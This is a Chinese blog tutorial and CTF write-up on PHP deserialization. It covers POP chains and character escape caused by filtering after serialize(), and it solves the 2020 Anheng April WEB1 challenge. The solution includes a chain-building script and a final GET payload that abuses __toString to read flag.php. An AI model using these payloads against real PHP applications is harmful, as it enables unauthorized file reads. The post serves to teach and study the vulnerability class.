写在前边

  之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑

  前篇:https://www.cnblogs.com/Lee-404/p/12771032.html

1.POP链

  POP,面向属性编程(Property-Oriented Programing),之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

2.字符逃逸+POP链构造

  1)漏洞产生原因:

  序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题

  2)演示

  借用大佬的案例来演示一下 https://blog.csdn.net/assasin0308/article/details/103711024

<?php
function filter($string){
$a = str_replace('x','zz',$string);  //将字符串的x替换成zz
return $a;
} $username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);  //将username,password传入user数组 echo(serialize($user));  //序列化数组
echo "\n"; $r = filter(serialize($user));  //将序列化好的字符中的x替换成zz echo($r);
echo "\n"; var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a)); ?> 

 PHP特性 

  1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

  2.对类中不存在的属性也会进行反序列化

  上述案例,发现序列化后的的字符串变长了

  而且相对于

$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';

  其结果也能正常序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

  如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性

  比如a:2:{i:0;s:6:"tr1ple";i:1;s:7:"233333";}是我们想要达到的效果,此时我们想要注入的payload明显为:

";i:1;s:7:"2333333";}

  这个长度为21,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入21个x即可变成42个z,即可逃逸出21个空位,从而将我们的payload变为反序列化后得到的属性值

  3)构造POP

$username = 'tr1plexxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"1234567";}';
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user)).'</br>'; $r = filter(serialize($user)); echo($r);
echo "\n";
var_dump(unserialize($r));

3.实战(2020安恒4月WEB1)

  访问,直接获取源码

<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
} function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
} class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
} class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
} class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
} $a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

   首先,盲目分析一波,大致看来一下,是POP+字符逃逸类型。用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B

<?php
class A{
public $username;
public $password;
} class B{
public $b = 'gqy';
} class C{
public $c;
} $a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

  构造POP链得到序列化后,接下来就是字符逃逸了,源码中只序列化$a,我们先只序列化A分析一下

<?php
class A{
public $username;
public $password;
} $a = new A();
$a->username=user;
$a->password=passwd;
echo serialize($a);
?>

  得到

O:1:"A":2:{s:8:"username";s::"user";s:8:"password";s:6:"passwd";}

  字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。

function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
} function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

  可以看到,可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。

  在这里,我们需要逃逸的是

";s:8:"password";s:6:

  根据上边分析,看上去是要逃逸22个,但实际上,刚刚构造的 O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}是打在password里的,所以一定是大于10的,是两位数,实际上是要逃逸23个字符,

因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是说a这个参数序列化后应该是 \0\0\0\0\0\0\0\0\0\0\0\0 (共12组\0)

O:1:"A":2{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}

  经过函数过滤

O:1:"A":2{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}  //实际上每个*后都有空格,被忽略了

  这时候应该加一个字符为了防止flag被吞可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A (因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位),发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
  所以,最后的playload

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}

  传入后F12查看

参考链接:

    http://www.mamicode.com/info-detail-2990320.html

      https://blog.csdn.net/weixin_43610673/article/details/105754341

    https://www.gem-love.com/ctf/2275.html

      https://blog.csdn.net/assasin0308/article/details/103711024

如有错误请留言指出,谢谢

PHP反序列化漏洞总结(二)的更多相关文章

  1. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  2. 实战经验丨PHP反序列化漏洞总结

    又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...

  3. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  4. weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

    目录 四. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一.weblogic安装 http://www.cnb ...

  5. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  6. ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

    ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加 ...

  7. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  8. Jboss反序列化漏洞复现(CVE-2017-12149)

    Jboss反序列化漏洞复现(CVE-2017-12149) 一.漏洞描述 该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤 ...

  9. jboss反序列化漏洞复现(CVE-2017-7504)

    jboss反序列化漏洞复现(CVE-2017-7504) 一.漏洞描述 Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HT ...

随机推荐

  1. JavaScript 趣味题。

    第一题: const Greeters = [] for (var i = 0 ; i < 10 ; i++) { Greeters.push(function () { return cons ...

  2. dijskra算法(求正权图中最短路)

    思想:每次找到离原点最近的顶点,以这个点为中心扩展松弛,更新其余点到原点的最短路径. 注意:if(e[u][v]>x)e[u][v]=x; book[ ]数组标记最短路程的顶点集合 #inclu ...

  3. GCDAsyncSocket 笔记

    https://www.dzliving.com/2019/03/26/gcdasyncsocket-%E7%9A%84%E5%B0%81%E8%A3%85%E4%B8%8E%E4%BD%BF%E7% ...

  4. 20175314 实验五 Java网络编程

    20175314 实验五 Java网络编程 一.实验报告封面 课程:Java程序设计 班级:1753班 姓名:薛勐 学号:20175314 指导教师:娄嘉鹏 实验日期:2018年5月31日 实验时间: ...

  5. Git版本控制 Git、github,gitlab相关操作

    目录 关于版本控制 版本管理工具 集中式管理 分布式管理 git版本管理 git介绍 软件安装 Git工作状态 原理流程步骤 git基本操作 对文件进行修改 分支 共享仓库 创建共享仓库: 共享仓库上 ...

  6. MySQL 解析 json 数组(mysql在5.7开始支持json解析)

      1.函数 JSON_EXTRACT 表数据格式: 查询结果: sql 语句: -- ---------------------------- -- Table structure for json ...

  7. PTA数据结构与算法题目集(中文) 7-5

    PTA数据结构与算法题目集(中文)  7-5  堆中的路径 7-5 堆中的路径 (25 分)   将一系列给定数字插入一个初始为空的小顶堆H[].随后对任意给定的下标i,打印从H[i]到根结点的路径. ...

  8. 部署MYSQL高可用集群

                                                  mysql-day08     部署MYSQL高可用集群 u 集群架构                   ...

  9. vue中axios的安装使用

    axios是一个基于 promise 的 HTTP 库,在vue中axios是比较常用的网络请求方法. 安装 npm install axios -S 在main.js配置 import axios ...

  10. EOS基础全家桶(七)合约表操作

    简介 本篇我们开始来为后续合约开发做准备了,先来说说EOS内置的系统合约的功能吧,本篇将侧重于合约表数据的查询,这将有利于我们理解EOS的功能,并可以进行必要的数据查询. EOS基础全家桶(七)合约表 ...